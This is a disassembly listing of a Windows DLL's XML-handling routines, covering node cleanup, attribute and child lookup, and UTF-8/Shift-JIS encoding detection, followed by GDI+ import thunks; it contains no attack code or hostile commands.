loc_1001A673:				; CODE XREF: sub_1001A22D+43Cj
		lea	esi, [esi+eax+3]
		jmp	short loc_1001A6B9
; ---------------------------------------------------------------------------


loc_1001A679:				; CODE XREF: sub_1001A22D+3BEj
		test	ebx, ebx
		jz	short loc_1001A6AC
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jnz	short loc_1001A697
		push	offset asc_100240A4 ; "/>"


loc_1001A688:				; CODE XREF: sub_1001A22D+434j
		lea	eax, [esi+ebx]
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		inc	esi
		pop	ecx
		inc	esi
		jmp	short loc_1001A6B9
; ---------------------------------------------------------------------------


loc_1001A697:				; CODE XREF: sub_1001A22D+454j
		lea	eax, [esi+ebx]
		push	offset asc_100240A0 ; "/>\n"
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		add	esi, 3
		pop	ecx
		jmp	short loc_1001A6B9
; ---------------------------------------------------------------------------


loc_1001A6AC:				; CODE XREF: sub_1001A22D+44Ej
		xor	eax, eax
		cmp	[ebp+arg_8], 0FFFFFFFFh
		setnz	al
		inc	eax
		inc	eax
		add	esi, eax


loc_1001A6B9:				; CODE XREF: sub_1001A22D+3AAj
					; sub_1001A22D+3B4j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_1001A22D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001A6C0	proc near		; CODE XREF: sub_10018AC6+14Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		xor	ecx, ecx
		mov	eax, [edi]
		cmp	eax, ecx
		jnz	short loc_1001A6DB
		mov	eax, [ebp+arg_4]
		cmp	eax, ecx
		jz	short loc_1001A6D7
		mov	[eax], ecx


loc_1001A6D7:				; CODE XREF: sub_1001A6C0+13j
		xor	eax, eax
		jmp	short loc_1001A723
; ---------------------------------------------------------------------------


loc_1001A6DB:				; CODE XREF: sub_1001A6C0+Cj
		cmp	byte_10023EED, 0
		jnz	short loc_1001A6E7
		mov	[ebp+arg_0], ecx


loc_1001A6E7:				; CODE XREF: sub_1001A6C0+22j
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ecx
		push	esi
		setnz	bl
		dec	ebx
		push	ebx
		push	ecx
		push	eax
		call	sub_1001A22D
		mov	esi, eax
		lea	eax, [esi+1]
		push	eax		; Size
		call	ds:malloc	; malloc
		push	ebx
		push	eax
		push	dword ptr [edi]
		mov	[ebp+arg_0], eax
		call	sub_1001A22D
		mov	eax, [ebp+arg_4]
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_1001A71E
		mov	[eax], esi


loc_1001A71E:				; CODE XREF: sub_1001A6C0+5Aj
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebx


loc_1001A723:				; CODE XREF: sub_1001A6C0+19j
		pop	edi
		pop	ebp
		retn	8
sub_1001A6C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A728	proc near		; CODE XREF: sub_1000827F+75p
					; sub_1000827F+EBp ...
		push	0
		call	sub_1001A79B
		retn
sub_1001A728	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A730	proc near		; CODE XREF: sub_1001A79B+2Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		mov	eax, [esi+18h]
		mov	ecx, [eax+1Ch]
		cmp	[ecx], esi
		jz	short loc_1001A74C
		mov	edx, ecx


loc_1001A744:				; CODE XREF: sub_1001A730+1Aj
		add	edx, 4
		inc	edi
		cmp	[edx], esi
		jnz	short loc_1001A744


loc_1001A74C:				; CODE XREF: sub_1001A730+10j
		dec	dword ptr [eax+4]
		mov	eax, [esi+18h]
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_1001A77B
		mov	edx, edi
		imul	edx, 3FFFFFFFh
		add	edx, eax
		lea	eax, [ecx+edi*4+4]
		shl	edx, 2
		push	edx		; Size
		push	eax		; Src
		lea	eax, [ecx+edi*4]
		push	eax		; Dst
		call	ds:memmove	; memmove
		add	esp, 0Ch
		jmp	short loc_1001A78A
; ---------------------------------------------------------------------------


loc_1001A77B:				; CODE XREF: sub_1001A730+27j
		push	ecx		; Memory
		call	ds:free	; free
		mov	eax, [esi+18h]
		pop	ecx
		and	dword ptr [eax+1Ch], 0


loc_1001A78A:				; CODE XREF: sub_1001A730+49j
		push	edi
		push	0
		push	dword ptr [esi+18h]
		call	sub_10019167
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_1001A730	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A79B	proc near		; CODE XREF: sub_1000A318+36Cp
					; sub_1001A728+2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_1001A89D
		dec	dword ptr [eax+30h]
		mov	eax, [esi]
		cmp	[eax+30h], ebx
		jz	short loc_1001A7BF
		cmp	byte ptr [esp+8+arg_0],	bl
		jz	loc_1001A89D


loc_1001A7BF:				; CODE XREF: sub_1001A79B+18j
		cmp	[eax+18h], ebx
		jz	short loc_1001A7CB
		push	eax
		call	sub_1001A730
		pop	ecx


loc_1001A7CB:				; CODE XREF: sub_1001A79B+27j
		mov	eax, [esi]
		push	ebp
		push	edi
		xor	edi, edi
		cmp	[eax+4], ebx
		jle	short loc_1001A7FC


loc_1001A7D6:				; CODE XREF: sub_1001A79B+5Fj
		mov	eax, [eax+1Ch]
		mov	edx, edi
		shl	edx, 2
		push	[esp+10h+arg_0]
		mov	eax, [eax+edx]
		mov	[eax+18h], ebx
		mov	eax, [esi]
		mov	ecx, [eax+1Ch]
		add	ecx, edx
		call	sub_1001A79B
		mov	eax, [esi]
		inc	edi
		cmp	edi, [eax+4]
		jl	short loc_1001A7D6


loc_1001A7FC:				; CODE XREF: sub_1001A79B+39j
		mov	eax, [esi]
		mov	edi, ds:free
		push	dword ptr [eax+1Ch] ; Memory
		call	edi ; free
		mov	eax, [esi]
		xor	ebp, ebp
		pop	ecx
		cmp	[eax+8], ebx
		jle	short loc_1001A824


loc_1001A813:				; CODE XREF: sub_1001A79B+87j
		mov	eax, [eax+20h]
		push	dword ptr [eax+ebp*4] ;	Memory
		call	edi ; free
		mov	eax, [esi]
		inc	ebp
		pop	ecx
		cmp	ebp, [eax+8]
		jl	short loc_1001A813


loc_1001A824:				; CODE XREF: sub_1001A79B+76j
		mov	eax, [esi]
		push	dword ptr [eax+20h] ; Memory
		call	edi ; free
		mov	eax, [esi]
		xor	ebp, ebp
		pop	ecx
		cmp	[eax+0Ch], ebx
		jle	short loc_1001A84B


loc_1001A835:				; CODE XREF: sub_1001A79B+ACj
		mov	eax, [eax+24h]
		push	dword ptr [eax+ebx] ; Memory
		call	edi ; free
		mov	eax, [esi]
		inc	ebp
		add	ebx, 0Ch
		pop	ecx
		cmp	ebp, [eax+0Ch]
		jl	short loc_1001A835
		xor	ebx, ebx


loc_1001A84B:				; CODE XREF: sub_1001A79B+98j
		mov	eax, [esi]
		push	dword ptr [eax+24h] ; Memory
		call	edi ; free
		mov	eax, [esi]
		xor	ebp, ebp
		pop	ecx
		cmp	[eax+10h], ebx
		jle	short loc_1001A87E


loc_1001A85C:				; CODE XREF: sub_1001A79B+E1j
		mov	eax, [eax+28h]
		push	dword ptr [eax+ebp*8] ;	Memory
		call	edi ; free
		mov	eax, [esi]
		pop	ecx
		mov	eax, [eax+28h]
		mov	eax, [eax+ebp*8+4]
		cmp	eax, ebx
		jz	short loc_1001A876
		push	eax		; Memory
		call	edi ; free
		pop	ecx


loc_1001A876:				; CODE XREF: sub_1001A79B+D5j
		mov	eax, [esi]
		inc	ebp
		cmp	ebp, [eax+10h]
		jl	short loc_1001A85C


loc_1001A87E:				; CODE XREF: sub_1001A79B+BFj
		mov	eax, [esi]
		push	dword ptr [eax+28h] ; Memory
		call	edi ; free
		mov	eax, [esi]
		push	dword ptr [eax+2Ch] ; Memory
		call	edi ; free
		mov	eax, [esi]
		push	dword ptr [eax]	; Memory
		call	edi ; free
		push	dword ptr [esi]	; Memory
		call	edi ; free
		add	esp, 10h
		mov	[esi], ebx
		pop	edi
		pop	ebp


loc_1001A89D:				; CODE XREF: sub_1001A79B+Aj
					; sub_1001A79B+1Ej
		pop	esi
		pop	ebx
		retn	4
sub_1001A79B	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A8A2	proc near		; CODE XREF: sub_1000878F+D7p
					; sub_1000878F+12Ep ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	esi, edi
		jz	short loc_1001A8C0
		push	0
		call	sub_1001A79B
		mov	eax, [edi]
		test	eax, eax
		mov	[esi], eax
		jz	short loc_1001A8C0
		inc	dword ptr [eax+30h]


loc_1001A8C0:				; CODE XREF: sub_1001A8A2+Aj
					; sub_1001A8A2+19j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_1001A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A8C7	proc near		; CODE XREF: sub_1000878F+1CDp
					; sub_1000878F+2D2p ...

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	edx, [ecx]
		test	edx, edx
		mov	[eax], edx
		jz	short locret_1001A8D8
		inc	dword ptr [edx+30h]

locret_1001A8D8:			; CODE XREF: sub_1001A8C7+Cj
		retn	4
sub_1001A8C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A8DB	proc near		; CODE XREF: sub_1000878F+14Ap
					; sub_1000878F+250p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_1001A913
		mov	ecx, [eax+4]
		push	esi
		mov	esi, [eax+1Ch]
		push	edi
		xor	edi, edi
		test	ecx, ecx
		jle	short loc_1001A90F
		push	ebx
		mov	ebx, ecx


loc_1001A8F2:				; CODE XREF: sub_1001A8DB+31j
		mov	eax, [esi]
		push	[esp+0Ch+arg_0]
		mov	eax, [eax]
		push	eax
		call	ds:_mbsicmp	; _mbsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_1001A908
		inc	edi


loc_1001A908:				; CODE XREF: sub_1001A8DB+2Aj
		add	esi, 4
		dec	ebx
		jnz	short loc_1001A8F2
		pop	ebx


loc_1001A90F:				; CODE XREF: sub_1001A8DB+12j
		mov	eax, edi
		pop	edi
		pop	esi

locret_1001A913:			; CODE XREF: sub_1001A8DB+4j
		retn	4
sub_1001A8DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001A916	proc near		; CODE XREF: sub_1000827F+25Ap
					; sub_1000827F+310p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ecx]
		push	ebx
		push	esi
		xor	esi, esi
		cmp	eax, esi
		push	edi
		mov	[ebp+var_4], esi
		jz	short loc_1001A965
		mov	ecx, [ebp+arg_8]
		mov	ebx, [eax+4]
		cmp	ecx, esi
		jz	short loc_1001A934
		mov	esi, [ecx]


loc_1001A934:				; CODE XREF: sub_1001A916+1Aj
		mov	eax, [eax+1Ch]
		lea	edi, [eax+esi*4]


loc_1001A93A:				; CODE XREF: sub_1001A916+40j
		cmp	esi, ebx
		jge	short loc_1001A965
		mov	eax, [edi]
		push	[ebp+arg_4]
		mov	eax, [eax]
		push	eax
		call	ds:_mbsicmp	; _mbsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_1001A958
		add	edi, 4
		inc	esi
		jmp	short loc_1001A93A
; ---------------------------------------------------------------------------


loc_1001A958:				; CODE XREF: sub_1001A916+3Aj
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_1001A962
		inc	esi
		mov	[eax], esi


loc_1001A962:				; CODE XREF: sub_1001A916+47j
		push	edi
		jmp	short loc_1001A96A
; ---------------------------------------------------------------------------


loc_1001A965:				; CODE XREF: sub_1001A916+10j
					; sub_1001A916+26j
		push	offset dword_10073FF0


loc_1001A96A:				; CODE XREF: sub_1001A916+4Dj
		mov	ecx, [ebp+arg_0]
		call	sub_1001A8C7
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_1001A916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001A97C	proc near		; CODE XREF: sub_1000827F+4Ap
					; sub_1000827F+B9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, ecx
		xor	eax, eax
		cmp	[edi], eax
		mov	[ebp+var_4], eax
		jnz	short loc_1001A99B
		mov	ecx, [ebp+arg_0]
		push	offset dword_10073FF0
		call	sub_1001A8C7
		jmp	short loc_1001A9DB
; ---------------------------------------------------------------------------


loc_1001A99B:				; CODE XREF: sub_1001A97C+Ej
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		dec	eax
		test	ecx, ecx
		jle	short loc_1001A9CA
		push	esi
		lea	esi, [eax+1]


loc_1001A9AC:				; CODE XREF: sub_1001A97C+4Bj
		lea	eax, [ebp+var_4]
		mov	ecx, edi
		push	eax
		lea	eax, [ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_1001A916
		lea	ecx, [ebp+arg_8]
		call	sub_1001A728
		dec	esi
		jnz	short loc_1001A9AC
		pop	esi


loc_1001A9CA:				; CODE XREF: sub_1001A97C+2Aj
		lea	eax, [ebp+var_4]
		mov	ecx, edi
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_1001A916


loc_1001A9DB:				; CODE XREF: sub_1001A97C+1Dj
		mov	eax, [ebp+arg_0]
		pop	edi
		leave
		retn	0Ch
sub_1001A97C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A9E3	proc near		; CODE XREF: sub_1000A318+25Ap
					; sub_1000A318+2B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_1001AA2E
		mov	ecx, [esp+0Ch+arg_4]
		mov	ebx, [eax+10h]
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_1001A9FB
		mov	esi, [ecx]


loc_1001A9FB:				; CODE XREF: sub_1001A9E3+14j
		mov	eax, [eax+28h]
		lea	edi, [eax+esi*8]


loc_1001AA01:				; CODE XREF: sub_1001A9E3+39j
		cmp	esi, ebx
		jge	short loc_1001AA2E
		push	[esp+0Ch+arg_0]
		mov	eax, [edi]
		push	eax
		call	ds:_mbsicmp	; _mbsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_1001AA1E
		add	edi, 8
		inc	esi
		jmp	short loc_1001AA01
; ---------------------------------------------------------------------------


loc_1001AA1E:				; CODE XREF: sub_1001A9E3+33j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_1001AA29
		inc	esi
		mov	[eax], esi


loc_1001AA29:				; CODE XREF: sub_1001A9E3+41j
		mov	eax, [edi+4]
		jmp	short loc_1001AA30
; ---------------------------------------------------------------------------


loc_1001AA2E:				; CODE XREF: sub_1001A9E3+7j
					; sub_1001A9E3+20j
		xor	eax, eax


loc_1001AA30:				; CODE XREF: sub_1001A9E3+49j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_1001A9E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AA36	proc near		; CODE XREF: sub_10019DAA+DDp
					; sub_10019DAA+10Dp ...
		mov	eax, [ecx]
		test	eax, eax
		jnz	short loc_1001AA3D
		retn
; ---------------------------------------------------------------------------


loc_1001AA3D:				; CODE XREF: sub_1001AA36+4j
		mov	eax, [eax]
		retn
sub_1001AA36	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AA40	proc near		; CODE XREF: sub_10019DAA+85p
					; sub_10019DAA+12Ep ...
		mov	eax, [ecx]
		test	eax, eax
		jnz	short loc_1001AA47
		retn
; ---------------------------------------------------------------------------


loc_1001AA47:				; CODE XREF: sub_1001AA40+4j
		mov	eax, [eax+4]
		retn
sub_1001AA40	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AA4B	proc near		; CODE XREF: sub_10019DAA+91p
		mov	ecx, [ecx]
		test	ecx, ecx
		jnz	short loc_1001AA54
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_1001AA54:				; CODE XREF: sub_1001AA4B+4j
		mov	eax, [ecx+10h]
		add	eax, [ecx+0Ch]
		add	eax, [ecx+8]
		add	eax, [ecx+4]
		retn
sub_1001AA4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AA61	proc near		; CODE XREF: sub_1000827F+150p
					; sub_1000827F+1D1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [ecx]
		push	esi
		test	ecx, ecx
		push	edi
		jz	short loc_1001AA7D
		mov	eax, [esp+8+arg_4]
		cmp	eax, [ecx+0Ch]
		jge	short loc_1001AA7D
		mov	ecx, [ecx+24h]
		lea	eax, [eax+eax*2]
		lea	esi, [ecx+eax*4]
		jmp	short loc_1001AA82
; ---------------------------------------------------------------------------


loc_1001AA7D:				; CODE XREF: sub_1001AA61+6j
					; sub_1001AA61+Fj
		mov	esi, offset dword_10073FF8


loc_1001AA82:				; CODE XREF: sub_1001AA61+1Aj
		mov	eax, [esp+8+arg_0]
		mov	edi, eax
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		retn	8
sub_1001AA61	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AA90	proc near		; CODE XREF: sub_1000827F+5Fp
					; sub_1000827F+D4p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_1001AAA7
		mov	ecx, [esp+arg_0]
		cmp	ecx, [eax+8]
		jge	short loc_1001AAA7
		mov	eax, [eax+20h]
		mov	eax, [eax+ecx*4]
		jmp	short locret_1001AAA9
; ---------------------------------------------------------------------------


loc_1001AAA7:				; CODE XREF: sub_1001AA90+4j
					; sub_1001AA90+Dj
		xor	eax, eax

locret_1001AAA9:			; CODE XREF: sub_1001AA90+15j
		retn	4
sub_1001AA90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001AAAC	proc near		; CODE XREF: sub_10018AC6+79p
					; sub_10019DAA+A2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ecx]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_1001AACB
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax+4]
		jge	short loc_1001AACB
		mov	eax, [eax+1Ch]
		lea	eax, [eax+ecx*4]
		push	eax
		jmp	short loc_1001AAD0
; ---------------------------------------------------------------------------


loc_1001AACB:				; CODE XREF: sub_1001AAAC+Cj
					; sub_1001AAAC+14j
		push	offset dword_10073FF0


loc_1001AAD0:				; CODE XREF: sub_1001AAAC+1Dj
		mov	ecx, [ebp+arg_0]
		call	sub_1001A8C7
		mov	eax, [ebp+arg_0]
		leave
		retn	8
sub_1001AAAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AADF	proc near		; CODE XREF: sub_10018AC6+59p
					; sub_10018AC6+83p ...
		mov	eax, [ecx]
		test	eax, eax
		jnz	short loc_1001AAE8
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_1001AAE8:				; CODE XREF: sub_1001AADF+4j
		mov	al, [eax+14h]
		retn
sub_1001AADF	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AAEC	proc near		; CODE XREF: sub_10019709+131p
		xor	eax, eax
		cmp	[ecx], eax
		setz	al
		retn
sub_1001AAEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001AAF4	proc near		; CODE XREF: sub_100189B8+BAp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		mov	al, [esp+arg_4]
		mov	byte_10023EEC, al
		mov	al, [esp+arg_8]
		mov	byte_10023EED, al
		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_1001AB42
		dec	eax
		jz	short loc_1001AB2C
		dec	eax
		jz	short loc_1001AB16
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_1001AB16:				; CODE XREF: sub_1001AAF4+1Dj
		mov	Count, 3
		mov	off_10023F80, offset dword_1001F938
		jmp	short loc_1001AB56
; ---------------------------------------------------------------------------


loc_1001AB2C:				; CODE XREF: sub_1001AAF4+1Aj
		mov	Count, 2
		mov	off_10023F80, offset dword_1001F838
		jmp	short loc_1001AB56
; ---------------------------------------------------------------------------


loc_1001AB42:				; CODE XREF: sub_1001AAF4+17j
		mov	Count, 1
		mov	off_10023F80, offset byte_1001F738


loc_1001AB56:				; CODE XREF: sub_1001AAF4+36j
					; sub_1001AAF4+4Cj
		xor	al, al
		retn
sub_1001AAF4	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_1001AB59(void	*lpv, size_t iSize, char)

sub_1001AB59	proc near		; CODE XREF: sub_100189B8+B1p

Dst		= byte ptr -0CCh
lpv		= dword	ptr  4
iSize		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 0CCh
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0D8h+iSize]
		cmp	esi, 19h
		push	edi
		jge	short loc_1001AB76


loc_1001AB6F:				; CODE XREF: sub_1001AB59+39j
		xor	eax, eax
		jmp	loc_1001AD1D
; ---------------------------------------------------------------------------


loc_1001AB76:				; CODE XREF: sub_1001AB59+14j
		mov	edi, [esp+0DCh+lpv]
		xor	ebx, ebx
		cmp	byte_10023EEC, bl
		jz	short loc_1001AB94
		push	esi		; iSize
		push	edi		; lpv
		call	sub_10018943
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_1001AB6F


loc_1001AB94:				; CODE XREF: sub_1001AB59+2Cj
		cmp	byte ptr [edi],	0EFh
		jnz	short loc_1001ABAD
		cmp	byte ptr [edi+1], 0BBh
		jnz	short loc_1001ABAD
		cmp	byte ptr [edi+2], 0BFh
		jnz	short loc_1001ABAD
		push	1


loc_1001ABA7:				; CODE XREF: sub_1001AB59+1B0j
					; sub_1001AB59+1B7j
		pop	eax
		jmp	loc_1001AD1D
; ---------------------------------------------------------------------------


loc_1001ABAD:				; CODE XREF: sub_1001AB59+3Ej
					; sub_1001AB59+44j ...
		push	1
		xor	eax, eax
		cmp	esi, ebx
		pop	ebp
		jle	short loc_1001AC19


loc_1001ABB6:				; CODE XREF: sub_1001AB59+BEj
		movzx	ecx, byte ptr [eax+edi]
		movsx	ecx, ds:byte_1001F738[ecx]
		sub	ecx, ebx
		jz	short loc_1001AC13
		dec	ecx
		jz	short loc_1001AC10
		dec	ecx
		jz	short loc_1001ABFB
		dec	ecx
		jz	short loc_1001ABE6
		dec	ecx
		jnz	short loc_1001AC15
		inc	eax
		cmp	eax, esi
		jge	short loc_1001ABE6
		mov	cl, [eax+edi]
		and	cl, 0C0h
		cmp	cl, 80h
		jz	short loc_1001ABE6
		push	2
		mov	eax, esi
		pop	ebp


loc_1001ABE6:				; CODE XREF: sub_1001AB59+73j
					; sub_1001AB59+7Bj ...
		inc	eax
		cmp	eax, esi
		jge	short loc_1001ABFB
		mov	cl, [eax+edi]
		and	cl, 0C0h
		cmp	cl, 80h
		jz	short loc_1001ABFB
		push	2
		mov	eax, esi
		pop	ebp


loc_1001ABFB:				; CODE XREF: sub_1001AB59+70j
					; sub_1001AB59+90j ...
		inc	eax
		cmp	eax, esi
		jge	short loc_1001AC10
		mov	cl, [eax+edi]
		and	cl, 0C0h
		cmp	cl, 80h
		jz	short loc_1001AC10
		push	2
		mov	eax, esi
		pop	ebp


loc_1001AC10:				; CODE XREF: sub_1001AB59+6Dj
					; sub_1001AB59+A5j ...
		inc	eax
		jmp	short loc_1001AC15
; ---------------------------------------------------------------------------


loc_1001AC13:				; CODE XREF: sub_1001AB59+6Aj
		mov	eax, esi


loc_1001AC15:				; CODE XREF: sub_1001AB59+76j
					; sub_1001AB59+B8j
		cmp	eax, esi
		jl	short loc_1001ABB6


loc_1001AC19:				; CODE XREF: sub_1001AB59+5Bj
		cmp	[esp+0DCh+arg_8], bl
		jnz	short loc_1001AC29


loc_1001AC22:				; CODE XREF: sub_1001AB59+102j
					; sub_1001AB59+122j ...
		mov	eax, ebp
		jmp	loc_1001AD1D
; ---------------------------------------------------------------------------


loc_1001AC29:				; CODE XREF: sub_1001AB59+C7j
		mov	eax, 0C8h
		cmp	esi, eax
		jl	short loc_1001AC34
		mov	esi, eax


loc_1001AC34:				; CODE XREF: sub_1001AB59+D7j
		push	esi		; Size
		lea	eax, [esp+0E0h+Dst]
		push	edi		; Src
		push	eax		; Dst
		call	memcpy	; memcpy
		lea	eax, [esp+0E8h+Dst]
		push	offset aEncoding ; "encoding"
		push	eax		; Str
		mov	[esp+esi+0F0h+Dst], bl
		call	ds:strstr	; strstr
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	short loc_1001AC22
		push	9
		add	esi, 8
		pop	ebx


loc_1001AC63:				; CODE XREF: sub_1001AB59+11Dj
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_1001AC75
		cmp	al, 20h
		jz	short loc_1001AC75
		cmp	al, bl
		jz	short loc_1001AC75
		cmp	al, 0Dh
		jnz	short loc_1001AC78


loc_1001AC75:				; CODE XREF: sub_1001AB59+10Ej
					; sub_1001AB59+112j ...
		inc	esi
		jmp	short loc_1001AC63
; ---------------------------------------------------------------------------


loc_1001AC78:				; CODE XREF: sub_1001AB59+11Aj
		cmp	byte ptr [esi],	3Dh
		jnz	short loc_1001AC22


loc_1001AC7D:				; CODE XREF: sub_1001AB59+12Aj
					; sub_1001AB59+12Ej ...
		mov	al, [esi+1]
		inc	esi
		cmp	al, 0Ah
		jz	short loc_1001AC7D
		cmp	al, 20h
		jz	short loc_1001AC7D
		cmp	al, bl
		jz	short loc_1001AC7D
		cmp	al, 0Dh
		jz	short loc_1001AC7D
		cmp	al, 27h
		jz	short loc_1001AC99
		cmp	al, 22h
		jnz	short loc_1001AC22


loc_1001AC99:				; CODE XREF: sub_1001AB59+13Aj
					; sub_1001AB59+146j ...
		mov	al, [esi+1]
		inc	esi
		cmp	al, 0Ah
		jz	short loc_1001AC99
		cmp	al, 20h
		jz	short loc_1001AC99
		cmp	al, bl
		jz	short loc_1001AC99
		cmp	al, 0Dh
		jz	short loc_1001AC99
		mov	edi, ds:_strnicmp
		push	5		; MaxCount
		push	offset aUtf8	; "utf-8"
		push	esi		; Str1
		call	edi ; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_1001AD15
		push	4		; MaxCount
		push	offset aUtf8_0	; "utf8"
		push	esi		; Str1
		call	edi ; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_1001AD15
		push	8		; MaxCount
		push	offset aShiftjis ; "shiftjis"
		push	esi		; Str1
		call	edi ; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_1001AD0E
		push	ebx		; MaxCount
		push	offset aShiftJis_0 ; "shift-jis"
		push	esi		; Str1
		call	edi ; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_1001AD0E
		push	4		; MaxCount
		push	offset aSjis	; "sjis"
		push	esi		; Str1
		call	edi ; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_1001AD0E
		push	2
		jmp	loc_1001ABA7
; ---------------------------------------------------------------------------


loc_1001AD0E:				; CODE XREF: sub_1001AB59+18Bj
					; sub_1001AB59+19Bj ...
		push	3
		jmp	loc_1001ABA7
; ---------------------------------------------------------------------------


loc_1001AD15:				; CODE XREF: sub_1001AB59+169j
					; sub_1001AB59+17Aj
		xor	eax, eax
		cmp	ebp, 2
		setnz	al


loc_1001AD1D:				; CODE XREF: sub_1001AB59+18j
					; sub_1001AB59+4Fj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0CCh
		retn
sub_1001AB59	endp


; =============== S U B	R O U T	I N E =======================================



GdipGetImageEncodersSize_thunk proc near ; CODE	XREF: j_GdipGetImageEncodersSize_thunkj
		push	ecx
		push	edx
		push	offset GdipGetImageEncodersSize	; Arguments
		jmp	$+5


loc_1001AD34:				; CODE XREF: GdipGetImageEncoders_thunk+7j
					; GdipSaveImageToFile_thunk+7j	...
		push	offset gdiplus_dll_import_table	; int
		call	sub_1001CBA7
		pop	edx
		pop	ecx
		jmp	eax
GdipGetImageEncodersSize_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipGetImageEncodersSize_thunk.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


GdipGetImageEncoders_thunk proc	near	; CODE XREF: j_GdipGetImageEncoders_thunkj
		push	ecx
		push	edx
		push	offset GdipGetImageEncoders
		jmp	loc_1001AD34
GdipGetImageEncoders_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipGetImageEncoders_thunk. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdipSaveImageToFile_thunk proc near	; CODE XREF: j_GdipSaveImageToFile_thunkj
		push	ecx
		push	edx
		push	offset GdipSaveImageToFile
		jmp	loc_1001AD34
GdipSaveImageToFile_thunk endp

